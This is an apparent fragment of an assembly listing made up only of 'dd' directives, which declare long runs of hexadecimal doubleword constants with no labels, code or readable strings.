dd 8133C02Ch, 75AC09DFh
dd 617329E9h, 9043511h, 2532F5B5h, 85A418AAh, 0FE9070E6h
dd 0C6165F00h, 0BF71E440h, 0E72D1689h, 9A6D3025h, 180075FBh
dd 0B23D7B28h, 2562198h, 0BA04DF38h, 605C2566h, 0EE8FA93h
dd 7B542ECBh, 632C5C4Bh, 0BE958529h, 0E04E13A6h, 68821F0Ah
dd 9BBD9DFh, 390DD549h, 0E986370h, 0C4123D25h, 656AC463h
dd 45B1122Fh, 817FC861h, 7F0C87AFh, 0F14070CAh, 5194A401h
dd 3DED4AA1h, 8516402Eh, 47554C50h, 3BB560D2h, 25E99B21h
dd 5790886Ah, 0D4B95F6Fh, 0D4804E0Bh, 97A7CFE3h, 41145024h
dd 2825B529h, 550D273Eh, 8D4C0260h, 575C080Dh, 8260C4E8h
dd 70CADA64h, 0FE480186h, 526D3610h, 0F683D04Eh, 51B26AFFh
dd 2FEF8180h, 64B264Ch, 27236398h, 4452299Dh, 2E799551h
dd 649A0725h, 43783527h, 9AA78F5Ah, 0ED760A09h, 4FDE4754h
dd 8992E9B3h, 6A9D1195h, 0EBBC2929h, 0C7510606h, 2FF27A0Eh
dd 0DAFB07BDh, 15181A79h, 46EE500Fh, 64E8ABC5h, 777800B5h
dd 0C96C8C5Ch, 7BFECE23h, 8E469901h, 45E838F9h, 0AD177278h
dd 2470E21Dh, 0B9847D71h, 7AAA0FA9h, 98D90049h, 9775086Eh
dd 12879147h, 4A1E5DFh, 3AB6F7FAh, 0C63E8098h, 26C0CA44h
dd 14FE1564h, 5A0011D1h, 2D1A5F6Ch, 7101EE55h, 3B3FA7F3h
dd 251007E8h, 38060BEAh, 5FB7043Ah, 0F6FC4E02h, 0A39BE345h
dd 66F985B8h, 0BBA4F8EDh, 0EEAFBECh, 89D22B04h, 53B155B5h
dd 5F059B6Ah, 1902626Ah, 837732Fh, 0C2316AC9h, 0E816957Ah
dd 43A0D6F8h, 8AB307C7h, 2B880F52h, 7B977014h, 0F884BEC8h
dd 0BF880D5Bh, 0EAC2C2DEh, 63628264h, 0C2B50E7Ah, 394D7D68h
dd 0A3A8B06Bh, 0E52809C2h, 7791502h, 0A4F8BB8Eh, 2FAB6856h
dd 0A86F5DFCh, 5D7B033h, 68D8DB3Ah, 0DCF38012h, 18D6148Eh
dd 7579A290h, 16E6B5CEh, 7E4D82BDh, 53055E98h, 8F9E5DCCh
dd 0AEBF0DB0h, 5FBD2430h, 0E5FBA748h, 27195DD0h, 0FAC42056h
dd 0B104B977h, 5FFA4476h, 8AD10ABDh, 0D101D5ACh, 0C10DC266h
dd 3550CCF7h, 1604EF2Eh, 643F80CAh, 0B93C81C4h, 0FF5B002Fh
dd 9A09CE1h, 779D81Eh, 9791A046h, 0D0013637h, 2C792D36h
dd 0BF108C6Fh, 6FB16B0Bh, 10C1611Bh, 6D14392Fh, 0CFA06172h
dd 282F081Eh, 12A03513h, 60EE11BFh, 0C0781D9Bh, 0F88B2539h
dd 112127E4h, 0DE8A891Fh, 2345247Ah, 96CB9884h, 0D868ACC5h
dd 4B09DF16h, 0BDD8CAAh, 44ABD7Ah, 0D88122F8h, 0DEFD8A50h
dd 87700B53h, 989C5870h, 0EC77534Eh, 0DF244BABh, 9B1D8A05h
dd 0F0761BB2h, 0D6FF1D26h, 1F6F024Dh, 327D028Fh, 513B5458h
dd 0D7970BFh, 450443Bh, 2D728C52h, 884A3BADh, 27002667h
dd 36162C4Bh, 1457A75Bh, 9E525020h, 51310F0Bh, 253F2A7Ch
dd 8450748Bh, 8C563C4Ah, 0F700CEDFh, 0BFEBA633h, 2486416Dh
dd 48826158h, 0B1503CD1h, 0E8DD25EBh, 2288F146h, 59017F66h
dd 0EC11C499h, 7A2193AEh, 0F4F9C93Dh, 0EA097B9Fh, 77018EE9h
dd 0D10552BDh, 0D0D0F065h, 971996B1h, 0CD90CB8h, 25BB6680h
dd 10E43050h, 0EAD16D95h, 0F2BF12BFh, 94F6972Dh, 948E83B5h
dd 0AC1610FBh, 70AD305Dh, 7D1043D4h, 12C4807h, 24BD313Dh
dd 1C690689h, 0ED0002B8h, 432C4657h, 9D0624Ch, 9CB7F544h
dd 46D62F5Ch, 27424814h, 800154D8h, 9CE77A9h, 3017BB96h
dd 0F81B1A38h, 6EBECC22h, 2E1C1732h, 33B788ABh, 0EE1BD10h
dd 2521AC4Eh, 0A034EE10h, 4AB79DCh, 189F3D68h, 0FE18C288h
dd 0C2028974h, 0E0780664h, 95237D3Ah, 35A42753h, 3458D511h
dd 105289C7h, 5DFB828Dh, 0FEFBF13h, 55DE4449h, 0B74C7618h
dd 3AA7881Eh, 0DA58E680h, 9490C566h, 5C1F145Eh, 9D2B4B72h
dd 55026FB2h, 5F618A0Bh, 3702F337h, 5CE4CF80h, 8B025A66h
dd 73566B17h, 0DE2F3351h, 76EBC92Dh, 482F1009h, 974504DEh
dd 36B80A5Eh, 0F58D3181h, 6BED0E01h, 0F3034C09h, 2EBAD11Bh
dd 8AEF3B28h, 0A2F57C60h, 0F051D325h, 89CB8503h, 0B25D03D9h
dd 879BF406h, 0FB8C212Eh, 7574CFE2h, 716300F6h, 67024F2Eh
dd 0D925098Ch, 4C44C6EDh, 2935FD57h, 89051F0Fh, 497301D5h
dd 413158ADh, 4C312B31h, 0A53F9D33h, 5FD27CC3h, 6EFF8684h
dd 405A005Fh, 0A327CEC4h, 4D410082h, 0B7C9BB57h, 87AD5178h
dd 176115C4h, 98097BDAh, 163DD54Dh, 2A458E80h, 120C5B65h
dd 0A2914F93h, 870F76F1h, 0EFCFDF69h, 9540A02Eh, 553A4Bh
dd 0F1CA37D5h, 0F50C2241h, 0BD12F3B0h, 0EDAC2D71h, 0A8BAEDB5h
dd 9602126Ch, 4DA1E782h, 0E67AC28h, 0B0975819h, 0D3A4D841h
dd 9A342EBFh, 7F0081B2h, 0EF4E9D30h, 0C0045924h, 8C06DCDFh
dd 975BA7B0h, 8899D31h, 0E5C32481h, 0E144121Fh, 546E2B98h
dd 0ABA67300h, 472E3996h, 95EAC69Fh, 76B7A38Bh, 565E990Bh
dd 0D86DE939h, 5748F641h, 720C568h, 3BB65B5Ah, 0B1B2DF32h
dd 8D5198FDh, 21114155h, 6A21EDE8h, 14C8309Ah, 9D8910C0h
dd 0CA285EDDh, 0A8DAE0EDh, 0BE3833FFh, 0F89B96C4h, 0C20BFE5h
dd 0E65D3C0Ah, 0D1DB12B9h, 0E20DBC0Ch, 9D23E05Bh, 0A45379D7h
dd 37B72573h, 68B6CEC6h, 0FA464D40h, 0A66F0C8h, 6C3CAB94h
dd 198509E7h, 0DC8A6290h, 4AD41497h, 0C0C1DE6Ch, 15966F67h
dd 0BBD30230h, 51C6D41Ah, 0D18D9F60h, 0B7961044h, 8A5F8464h
dd 3CDE18E3h, 305EB79Ah, 1CAEB7D5h, 0D683C0FAh, 7BFBE029h
dd 0ECF90625h, 41BB1387h, 8C71FFA9h, 8B18120Eh, 5EA9FA5Eh
dd 7659FBC8h, 0C1B77FA5h, 0AD6ED700h, 0F7B7E93h, 0CF81AFBBh
dd 14D097A2h, 6DD0BA55h, 66E86071h, 6500837Bh, 0DC909B1Ah
dd 771DBB41h, 84504B81h, 8021ACC8h, 0DB21974Fh, 612A00B9h
dd 1A9A95D9h, 84820DAh, 0B0D10C6h, 0E05FFC5Bh, 0FD8DB751h
dd 162E7CE9h, 8EE800ADh, 8B3907D4h, 5B9C15Bh, 2DB5BD82h
dd 0DE7EBA55h, 10CCCA1Eh, 43ED4A16h, 0D0A7CB3Dh, 0A5A4E2F6h
dd 6FFA6A93h, 0F0D409E8h, 56008ED5h, 80BB7A31h, 0C25CD0C0h
dd 0EE04999Ah, 38801171h, 0DE6FBFDDh, 0E4E81601h, 4CBDA97Ah
dd 0E21022F8h, 9D6CBF52h, 956ECF00h, 5469BAC9h, 30A300DDh
dd 68AD3531h, 0A4F7A91h, 0F45A24F3h, 408F04FCh, 0C8D8BB36h
dd 0D6F17916h, 3E9BCC8h, 0BC149BDEh, 0B6104616h, 5B122951h
dd 347AAAF5h, 95761003h, 0F5906921h, 6A5A5E57h, 73C0239Bh
dd 0F7DFA111h, 158E8BA0h, 4130DC8Ah, 0F11E3E94h, 9C04E868h
dd 0BD55D200h, 8318A68Eh, 0A8FB97F0h, 33181D59h, 0B5BE2C02h
dd 848B3BD6h, 0BFB84FC6h, 7D973BDEh, 0FCD2FC2Eh, 84188C16h
dd 0E14C1FD3h, 0D067952Ah, 0E2438211h, 0A2E4D000h, 7AAA2B60h
dd 8FBE16B8h, 26A5F85h, 20B853E9h, 0E53E9D01h, 60B142D8h
dd 0E354C2A7h, 68009012h, 0FB1848BBh, 9D31F659h, 8A268166h
dd 0A6A4E0FCh, 0C29DF909h, 0DB07F510h, 3DFF09ADh, 33F2002Fh
dd 8BFC50B3h, 60E9DE13h, 0A38B38FFh, 3339D592h, 934ECEBDh
dd 0D2062EB5h, 5AA46FAFh, 988E54A0h, 80229713h, 0C15CDA8Ah
dd 0D43256E9h, 54B2A100h, 0D82538ACh, 0D6985882h, 2926FD10h
dd 9680F790h, 0C50F8F42h, 0B2CF4E83h, 0FE08DAEBh, 0D8902791h
dd 98001707h, 169DC88Ch, 27BF65h, 79947C5Ah, 83899E5h
dd 0F18B6012h, 99ED188h, 0BCE42A3Ah, 7D050D80h, 0C00009C5h
dd 0AA461AFh, 3CA184FAh, 97795AD4h, 0B80FB37h, 348A31DFh
dd 499DE870h, 0D94A10D5h, 8B083BE4h, 6EC3271Eh, 6639AB85h
dd 0E3B08E26h, 9109D89Ah
dd 71298BCAh, 2951AFE7h, 7DBD2385h, 0B1FFC188h, 0CD998178h
dd 3EA979D0h, 0FFB52FA4h, 0A390ADADh, 57025DE3h, 29B09276h
dd 4BA8FA8Dh, 0E5BD985Fh, 71AB31D2h, 90D5Fh, 4BDD9589h
dd 0E6C9900Ah, 685AB770h, 58140B0h, 67E285D2h, 0D22AB7Bh
dd 0E22927BBh, 0AC5C2F81h, 3CB8041h, 0C2A3242Eh, 4855D9A3h
dd 861D691Fh, 926D3ECEh, 19509FE2h, 30598C6h, 616FF8CAh
dd 3A10C82Bh, 95762DD1h, 98140498h, 291AE300h, 77DCFE5Ch
dd 48F8B030h, 0CD10D452h, 0DE5B3824h, 14341EFh, 8722EDB5h
dd 4E49854Fh, 33AB4405h, 870F915h, 6A0BACA9h, 8A0A11CCh
dd 36E3E2C3h, 7EF10F5Eh, 2919CE7Fh, 2588BB24h, 8532D2Bh
dd 1376F781h, 17045296h, 0D251E84Ah, 0B30B6DB6h, 976DED85h
dd 0ABCF2FE0h, 0E1DB2D69h, 609FD8F1h, 0CA9B78EDh, 0BCCE3586h
dd 97F3801Ch, 0BDA9AD6Ah, 2002E16Bh, 0DF00EFEDh, 2924EB35h
dd 970BC195h, 7A107F3Bh, 0B91231F1h, 763FE1B5h, 0CAB1E0D8h
dd 0DE94022Bh, 1DA46258h, 0D5DB560h, 56F94282h, 4601344h
dd 324658Fh, 0DC61EA8Ah, 4C4F0C7h, 0F99D70AAh, 99CD22Bh
dd 0CF584ADCh, 0E8B04FF6h, 4824C0Fh, 8DA1BB80h, 89950218h
dd 0C03D7FBBh, 3EACE412h, 0B46DB625h, 0A601D64h, 0EA01B453h
dd 742C1184h, 0DD2AD6E5h, 0D2115ABFh, 326200BEh, 0A0377BAAh
dd 3FC114Bh, 0DB65D825h, 63DF8160h, 60D725CDh, 1C0096B7h
dd 5DCC62B0h, 9DBA775Ah, 5EEE3B10h, 7608BC60h, 0B90840Bh
dd 65EB544Fh, 27004EC4h, 0DA43927Bh, 121E385Fh, 0AC356E2Fh
dd 204DB2F0h, 0CFBF3DB7h, 245C7112h, 9BAA2F25h, 3FDEC408h
dd 0B3309EEh, 0BBE0E956h, 0E6C70319h, 0E7E15CFFh, 0BD245112h
dd 75DA87FBh, 52C57CE1h, 58B5282Bh, 0DFB50464h, 0DB1261F8h
dd 8D8BB226h, 9B2B285Fh, 83B8CFEDh, 0A926B6DBh, 5CE58079h
dd 0EEDD489h, 0F171C456h, 0F47854D2h, 0BDDA4901h, 0C0E78060h
dd 0DEAF182Bh, 2BF36FC7h, 71BBAE17h, 2F01E900h, 473C5BF3h
dd 87C29E4Bh, 3B140BBBh, 0CA579C1h, 4FD3CB2Ah, 73A08DB6h
dd 8A05F631h, 9B0FC5D3h, 2F87E2ECh, 0B03AA7D4h, 6084DBC6h
dd 2C40209Ch, 17674D51h, 0ECD0E181h, 0DE0280F6h, 2F84EEFEh
dd 2D7BD2Bh, 5C5B5F3Bh, 64256A22h, 1888AAC8h, 0E1574890h
dd 2AC15F2Dh, 7E6AE5DEh, 0C8BD9FE9h, 8400663Bh, 0D044748Dh
dd 2EBD8916h, 44AE3215h, 68F54001h, 902F9735h, 0E4700980h
dd 48FE2C17h, 3094CA05h, 1853480h, 1638950Ch, 0A1279D03h
dd 5AB8FC02h, 40356DD7h, 4C389DA2h, 7D26C170h, 611F052h
dd 2FCEF04Bh, 21A9183h, 0C1B09F27h, 2312BBBFh, 0DCB360E1h
dd 0FBB70F09h, 7B2DD559h, 7B7C78F5h, 7ACD11Ch, 0E74BDD8Ah
dd 5C627h, 0AB3F1794h, 7C16C279h, 22D03000h, 12CAAE05h
dd 0F192954Dh, 0E30A6DFDh, 0E7E80E9Ah, 480BA0FEh, 0D29D0B5Ah
dd 94F3B76Ch, 70481A59h, 9E670EB4h, 8ABF912h, 2679FC82h
dd 0BC8DE6DFh, 7800D457h, 982E301Ah, 4C838DADh, 651822D7h
dd 0DD9DB502h, 0E8FB3149h, 0D7128C16h, 0C4309563h, 97C85h
dd 0BBFA1969h, 4A7823A7h, 56270B97h, 0EB07DCD0h, 0C2AD972Bh
dd 0F7805110h, 4817B2Eh, 3C0F473Eh, 36D0BA96h, 483A4B9h
dd 5A537115h, 7E22E561h, 0EF09A005h, 6F35CDEFh, 0A9A8BDE2h
dd 2BA0510Bh, 406D86Ah, 0CBAA0A68h, 2BCBA19Eh, 59F54F00h
dd 10016153h, 0A42FE59Dh, 1246EEEh, 844FC0E9h, 207F9064h
dd 8FAD5263h, 0FCB72007h, 5EB50B2h, 5D4BDBCh, 0DA7F5EE1h
dd 0C315C891h, 4C1380D2h, 5B0461FBh, 0CFBF3285h, 0CB800932h
dd 468659BCh, 0DB971E4Fh, 0AD5780Ch, 7BA2A101h, 43E92E8Fh
dd 0D7E03237h, 0FE0BB5D6h, 7DC5E9FBh, 34641A8Ch, 746567B5h
dd 93DB5BFh, 595C7D67h, 580E0BDCh, 83029E72h, 87091D8Dh
dd 9C4B7D2Ah, 9C851799h, 0E8EBE904h, 834700DAh, 6021BA51h
dd 0B709BFB0h, 1601D4B9h, 6B67692Ch, 54A559h, 0A7DEDD11h
dd 17879F20h, 785A182Fh, 0E9252D74h, 5452A5FEh, 0DE70D466h
dd 2746B004h, 52C041ABh, 97FC7C60h, 0B99DC430h, 0B3511940h
dd 850109E3h, 5F96A4FDh, 34D8D2B8h, 96810F11h, 0BD8E66Fh
dd 556BBB63h, 0B560E981h, 809468DFh, 0CE0AE012h, 0C13F00CDh
dd 0DFFBF431h, 181F7461h, 0F34ED811h, 5F1750FAh, 8E50DB96h
dd 5E6C094Ah, 80FC2756h, 0F57952h, 255699Dh, 0F2015A25h
dd 0D5F819C7h, 0F1C9EA5Ch, 0B674127Bh, 3214B2EDh, 0ED665Fh
dd 90939FCCh, 3ABAB064h, 81608E00h, 0D0E938CAh, 2097B075h
dd 615526E5h, 54B76AD3h, 7C693B0h, 18A5D604h, 0E4B80138h
dd 0DB88D4DCh, 842BB1C1h, 0A5F63F41h, 93B9B9B4h, 32C027ACh
dd 0BFB95B60h, 0E4759905h, 0DAEFF907h, 0F8F6D6F9h, 271F1709h
dd 0B490882h, 0BF04C220h, 0FE3112BBh, 0E0D5E155h, 4178C84Ch
dd 5FBD1A97h, 8400A464h, 0ADB3DE91h, 3A555A46h, 800423F5h
dd 0B9A6F02Fh, 10AF97ACh, 804F5A93h, 982C4A4h, 2A79852Dh
dd 5EAF3427h, 2938F692h, 0FAA98901h, 0F113E2A1h, 6E91AD05h
dd 4FA97E10h, 0E359DE27h, 2BEF9B00h, 1F3D4E3Bh, 405EBEE7h
dd 335B4384h, 1E4EB5BDh, 206140A5h, 2BAD112Fh, 0B5E78A00h
dd 0F3B24655h, 85A22AFFh, 53795F25h, 1216DEADh, 80AE281Dh
dd 60A1DF12h, 0D5105AB7h, 0D981002Ah, 158C6F11h, 0C81B9761h
dd 792014FAh, 1FC872Eh, 1CC02062h, 0CC5CD8DFh, 0D4E29218h
dd 0D7E19E08h, 0F9559B8h, 96C014C8h, 0A8498529h, 0BA70B3B5h
dd 18F86FBh, 1CFFAC69h, 6C4A0BECh, 12BED22Fh, 8053EC02h
dd 57E4A371h, 181200F7h, 2B98CC4Fh, 64F69242h, 0BD38D409h
dd 51B257F3h, 71502D7Bh, 75B816AAh, 9755FCC7h, 7F7FC3B0h
dd 0FA60BF45h, 0F58231CDh, 0CE24284Ch, 3F49584Ch, 3B1F0E31h
dd 0C2EA82A0h, 30961EE9h, 74FF1616h, 0B4828CA2h, 41DAC500h
dd 0A0D377F5h, 719B935Dh, 48851815h, 0C122C5DAh, 32948595h
dd 0E81371AEh, 7EEA100Bh, 29760F8Ch, 0C560BD40h, 8D0FBA37h
dd 96225BEh, 0BF5F0511h, 0FC25B8DAh, 0BF0239E6h, 18065DB9h
dd 0F4AAF4C6h, 8048E737h, 0B5B516Bh, 0F4561F65h, 143575DAh
dd 16B27B00h, 25C5332Ch, 40E227E9h, 0C0266D5Dh, 0A47F9B57h
dd 0B3B85801h, 0C18BC247h, 0E075F62Ah, 29651C7h, 0C85B2117h
dd 845D2882h, 7CBD0501h, 0E08DA6D2h, 779EDAE0h, 14E3956Fh
dd 37E15384h, 0F0B0E66Fh, 911D356h, 1F41BD09h, 91F69F57h
dd 0CC74801Dh, 1E21E98Fh, 81798675h, 0A9BB6632h, 0E834694Dh
dd 86C93BE9h, 0BD921Eh, 817BED3Eh, 3A13C0DFh, 5DFC52B4h
dd 7B30229h, 62EE150Eh, 0C1555CB7h, 0C01223FBh, 0C41DECFh
dd 0CC84F35Ch, 0CC50BC06h, 0E600290Ch, 0E8C9C318h, 2D95CDFCh
dd 82D30489h, 1F2BB78h, 0DE7CC47Eh, 91F4A230h, 54603DDEh
dd 16D98D09h, 0A3A6EAB1h, 42F67960h, 52131FAFh, 70C5C064h
dd 8D8B964Ah, 6169E9B7h, 0A696742Fh, 7716A001h, 0D51701BAh
dd 0CD9E0871h, 0BBB62A8Fh, 50301BB2h, 6DC71D46h, 8B0E0919h
dd 11458782h, 0C8EA8E09h, 0D1FF0224h, 9D5EDE8Ah, 0F145A51h
dd 6A85B1D4h, 0B8E2BD02h, 892512CBh, 31F8A0B2h, 0FE953FB9h
dd 5EF92FF0h, 0B09DD6B8h, 2B4D2A6h, 812D4E2Bh, 9C57B3E9h
dd 6818492Dh, 13D77476h, 6F507BDCh, 76C52FD0h, 0F5D0BC8h
dd 2BE0155Ch, 0D61EE1BDh, 81FAE8EBh, 0EDF517DAh, 7FACE880h
dd 57B6CD4Fh, 45CF6905h
dd 88425B91h, 759D3156h, 0FA5F9E24h, 0D27A2320h, 77670013h
dd 0CB908055h, 3512EBC4h, 2F69F2Fh, 0E2BEB712h, 4FED4BF8h
dd 0E60306E8h, 89118CEFh, 5C098F85h, 5054E9E3h, 746ADB0Fh
dd 25D548EAh, 0BBBB9319h, 8DB6B504h, 2E4559F1h, 118FA61h
dd 0D1C8B002h, 0E68030D5h, 45E69870h, 0E4E52002h, 0CBF57125h
dd 3056C4EDh, 32DB04D3h, 5C588803h, 885B4A5Fh, 3A1C926Ah
dd 8A9803F1h, 0C8B6561Fh, 0C0B7F9ECh, 25F3DF05h, 5E45FC1h
dd 77C2DEF9h, 0D090982h, 0FC49045Eh, 0A05A2588h, 3559D10h
dd 0B508F589h, 99DA9C58h, 0F8E762D1h, 0A26FE94Bh, 0EBC7201Dh
dd 0B81ADF7Eh, 0EC42B536h, 0D0741BDDh, 0F8319Dh, 0AFEA613Dh
dd 70A636EBh, 60FB655Eh, 0B58BE72Eh, 7C45B4Bh, 0FC8063F8h
dd 0FA3B37CCh, 818D6B00h, 7C516DCFh, 24C85AD5h, 0F7D8FFFFh
dd 2546DC5Fh, 141720E9h, 951415A6h, 3989DF71h, 0C5252064h
dd 0A7C17324h, 6B227EE1h, 881E1298h, 0C6278060h, 0E63854B2h
dd 8B8466F5h, 0E1257790h, 82DE528h, 0CA279568h, 65377580h
dd 0F60DF78Fh, 0F11309EAh, 35E9705Ch, 5F5D80D8h, 413953C5h
dd 10165A25h, 0D33153h, 0B7A77BBAh, 0BEC7C1FDh, 55B220E3h
dd 265B0D40h, 8232C5B9h, 0F39B529h, 60FC9F90h, 50F3ECC5h
dd 5A938CFEh, 8398617Eh, 6A4BF702h, 82C02B0Ch, 0F0695BEh
dd 6B66D20Dh, 4BB727D1h, 0F2EAF72Fh, 0DF9C301Bh, 4DAD5803h
dd 28181CEBh, 0BFA3F16Eh, 0A2E0E34Dh, 12EABC68h, 0F21D3D3Ch
dd 6F6E5F2Ch, 0D5E8A800h, 3C863ECCh, 39A0B962h, 2F45DA16h
dd 287B11F1h, 2E991303h, 0EC8A98E7h, 30CD0079h, 5DB0DD3Bh
dd 0CE4F8C56h, 0BD037D30h, 0B70E5AA1h, 0B4875FF1h, 2FAB47C4h
dd 976A4AEAh, 0F5399D0Bh, 18291F1h, 550465B5h, 8D643151h
dd 0DFDD9EAAh, 95842E40h, 0CF63C6E7h, 0C049EFE0h, 12300D79h
dd 0B33B527h, 0D7CF807Ch, 46D6DC56h, 5E352E14h, 0FFDC6802h
dd 70B073E1h, 0AD051167h, 494ECF8Ch, 2907C0FEh, 0FEA86195h
dd 6B128FBBh, 2DF21CB9h, 0FB04A984h, 0DC01D97Ah, 0B3CDD826h
dd 0D6FF3045h, 712FF912h, 90884DF2h, 0CD097BA4h, 0C228790Ch
dd 0E9D30447h, 0A92BD0h, 7ECF3CFCh, 0FFF159Fh, 0F98C604Fh
dd 0C1951031h, 38093B04h, 14E3DA0Dh, 25819D08h, 478B186Bh
dd 13B40E9Ah, 6AC0CB01h, 9691946h, 0D288DC02h, 55BD33C9h
dd 5F4B82F0h, 212B4FD2h, 0D98A92BBh, 7992B6Fh, 207FF8DDh
dd 6A7AF1C4h, 57059B70h, 219A183h, 0D2A3DAFFh, 2FB2F898h
dd 4B84D727h, 0BB900006h, 932C8BCh, 1BB75008h, 902526C3h
dd 40F259F9h, 65BAB960h, 7A12F227h, 10E21ACAh, 9CD9718Bh
dd 0B3CCD800h, 9E763Bh, 0E26F5313h, 609708B0h, 0DE109602h
dd 771F6BFCh, 76C51EC6h, 60AA5FD8h, 9F683B4Fh, 710097F6h
dd 527555DAh, 7E7CD66h, 17CB314Eh, 5F5B923Ch, 584B82C4h
dd 977F56Eh, 0F5F85DC2h, 33A60859h, 0ECC1D225h, 0FC3FB485h
dd 59B9F80Eh, 0A42D2383h, 0DD522556h, 81D530Ah, 1C3C3241h
dd 5C2D024Fh, 1D09602Fh, 317E8A1Ch, 8CAE6F01h, 0F3E1E286h
dd 0EF33162Fh, 317C217Bh, 45EC27A9h, 0B58C0526h, 41EF0011h
dd 0FE796F30h, 21002FD7h, 0D260B343h, 4F0F381h, 5F423CE7h
dd 0F12E8409h, 74172EA0h, 37B0BAF7h, 0CA958509h, 555B5C1Fh
dd 449EE109h, 0E333010Dh, 395C3247h, 5B742F44h, 93DF52DAh
dd 640FAE2Ch, 8DB3D9F9h, 61092529h, 0AEB70689h, 0B1032683h
dd 0A85E5E57h, 0B9668127h, 1E10283h, 972659ECh, 0CF815FB8h
dd 58AFD609h, 377879h, 52BB96F9h, 500145CAh, 293C69Dh
dd 81E7A637h, 0B37D8661h, 32409CDCh, 0E356821h, 9A3E7800h
dd 0E31BA175h, 4AA312EFh, 350BAB5Eh, 89FCD996h, 87909D89h
dd 8709DF81h, 7A374839h, 6C6F9D35h, 0E2668D4Fh, 0C82A0BDDh
dd 3472A91Fh, 0D0A4F705h, 2CAE7CB6h, 31093B8Fh, 92501E5Eh
dd 0BF3D4B5Ch, 95B7BF00h, 265748F1h, 58D3099Eh, 6B893937h
dd 85B8823Ah, 0C5BB002Dh, 7404AB55h, 7EBEBF66h, 6D27BBCh
dd 325BCDA7h, 9E2C1520h, 0BE2B6038h, 6504B8BAh, 10584CE1h
dd 0D9A50953h, 655CA342h, 2E1446D6h, 0BD1F19FFh, 27B5EC60h
dd 4A5C2A99h, 0A751E6C0h, 6106313Dh, 2F30597Eh, 760773Dh
dd 0DFC23E92h, 2D2E6031h, 5C610202h, 2B4B5156h, 0BEB584E7h
dd 5EAE6712h, 0B75AB8E8h, 5F1BA06Ch, 0E9B501F3h, 1959FF0Fh
dd 218E6B0Ah, 6D27B5BCh, 40C16F16h, 3219B1EDh, 0F385CE12h
dd 0F78C5EF2h, 0BF025051h, 21D65319h, 4BE7965Fh, 0B00CF7E3h
dd 17BB1B19h, 0FAB76E8Fh, 4ECC6664h, 0B9200D3h, 532CB680h
dd 1F05E676h, 9872DAFCh, 4AB827D4h, 0AD5666CFh, 33CD92DCh
dd 4ACEE73Fh, 0EEA287E6h, 3D737748h, 6096641Ch, 0BF5BD06Fh
dd 611C8394h, 26FDEAB2h, 3060B260h, 0D9CE5Eh, 3FDF1934h
dd 0E30D2423h, 8AE2B918h, 995AD6C0h, 1AB48078h, 0ACA97B74h
dd 61563F16h, 0B4BC6BEDh, 0B37BC928h, 0F06B73BDh, 740105F0h
dd 0A2655B5Ch, 0FA20DA97h, 9D6BF7F1h, 150E30A1h, 3BFDC595h
dd 356DF27h, 41746D6h, 6213BFB1h, 0FB9210BCh, 5602266Fh
dd 769AB96Bh, 0BFE53057h, 0E40297FAh, 0E15C72B3h, 0C03C4D27h
dd 9D015FCFh, 540E3D27h, 37FC5AF5h, 308D13D4h, 0ADBB07Bh
dd 0ECDC84Bh, 8735206Ah, 0A0001FFAh, 68EE5A29h, 1C516FD8h
dd 8E11528Eh, 0B0B6178Ah, 6AE25F17h, 0DEC896h, 62A959EFh
dd 9C76994Bh, 10FEE426h, 9BF2320h, 0C7DF543Eh, 8531908Bh
dd 0CE952489h, 129F98D9h, 0AF50CF6Dh, 3620188h, 29467A25h
dd 70FFC9B0h, 0AD2E7F45h, 2C415309h, 9D5E7061h, 0F5840973h
dd 9CEA4090h, 286735EBh, 4949D0Dh, 27F18EEAh, 0D881FB48h
dd 0FD139420h, 160B4650h, 0BC34EB61h, 72E042A6h, 0F3358019h
dd 0DFAEE479h, 7F8D8B00h, 33A754B5h, 73B3E848h, 0A75E027Bh
dd 7ED8A1A0h, 507945D5h, 28256FF9h, 174E468h, 0A5FED7F7h
dd 2B596A70h, 0D4E50C0Ah, 315F5B83h, 0CAEAB4BDh, 8002F029h
dd 8AD44BEBh, 23D22B1h, 4543D381h, 35571674h, 801A91EFh
dd 688C385Dh, 0D8E312F6h, 222AB01h, 4FA57AC6h, 0AC571661h
dd 401FBAB8h, 6877C4FDh, 0E9C7913Bh, 0B9112E62h, 0B793BC9Ch
dd 0C14B0950h, 0B180329Bh, 65D24C13h, 7D62B300h, 9D2326CCh
dd 9DD59019h, 84409418h, 4530B700h, 6D2A5D9Ch, 32632EFEh
dd 0F6592DDCh, 2D68E48h, 48DF0CC7h, 0D6554D27h, 0ACCAADFEh
dd 0F52F85DCh, 263DBF8Bh, 13A91E12h, 0CAD0BB92h, 51299D2Bh
dd 0C83A3019h, 2700E0AEh, 38E79715h, 0BE33156h, 459D33BDh
dd 0FC8CACF5h, 0EE242F98h, 60802654h, 0C3B966F9h, 2E589D96h
dd 0EE934D9Dh, 0F01A073h, 2519E4BDh, 5389F133h, 3670F973h
dd 136F0B6Ah, 0B9051C12h, 0E8D8FBFFh, 89E95B85h, 0D8097D6h
dd 0F67152FBh, 0FC18F066h, 55B51331h, 4A76AB10h, 0EF9D5F1Ah
dd 6BABBC12h, 12142313h, 0E2E249h, 924BCD82h, 1E0AC873h
dd 5762E26h, 0A2D1FFEDh, 0FCEC02ADh, 755D8691h, 0A01EDCEh
dd 55B045CCh, 97AD013h, 96715F37h, 89564E44h, 54B26F6Ah
dd 0C620EA97h, 17606A1Ah, 83EDB589h, 0F9B103F9h, 610C9215h
dd 0C85E44BCh, 0AD5889C0h, 0C3E0Ah, 0E5B2985Dh, 5E8A5004h
dd 16BFB2FAh, 0EB291F0Dh, 0F86B64A7h, 6755CDF2h, 4BA21291h
dd 836DFC5Fh, 0FF921FC1h, 0A5F21F3Eh, 8FBC86CEh, 0B007004Fh
dd 0A7E527h, 597134F1h
dd 0F525FFCBh, 3C957312h, 0D7F8F94Dh, 6FB9EE39h, 1D3C7CF5h
dd 8085C52Ah, 9761C0DEh, 0B7D7921Ah, 7072843Fh, 90AEB951h
dd 0A103CFFDh, 14408AC5h, 2B5FD8h, 1F5D1B0Bh, 0BF5592EDh
dd 8D1395F6h, 6BFF5B2Ah, 0BA984EDBh, 0A9A00A5h, 771B9590h
dd 0BB01B729h, 3780EB9Dh, 0A66EFF6Ah, 3720E02Dh, 0E1C09F2Fh
dd 365CF2D7h, 321D1232h, 0F0A771B7h, 49DF13CAh, 289A9312h
dd 622EAE6h, 8500DEA6h, 1D7A8232h, 3A7B4Fh, 0BAE66B65h
dd 192D7DBBh, 78B04225h, 12852034h, 0F91870FEh, 0EFB871E4h
dd 92BB4B8Ah, 12BD6FDh, 303DBD65h, 0ED5C5F02h, 10BF816h
dd 40947FB5h, 10A5BD10h, 0EF49AA92h, 4AE870F8h, 29A18C56h
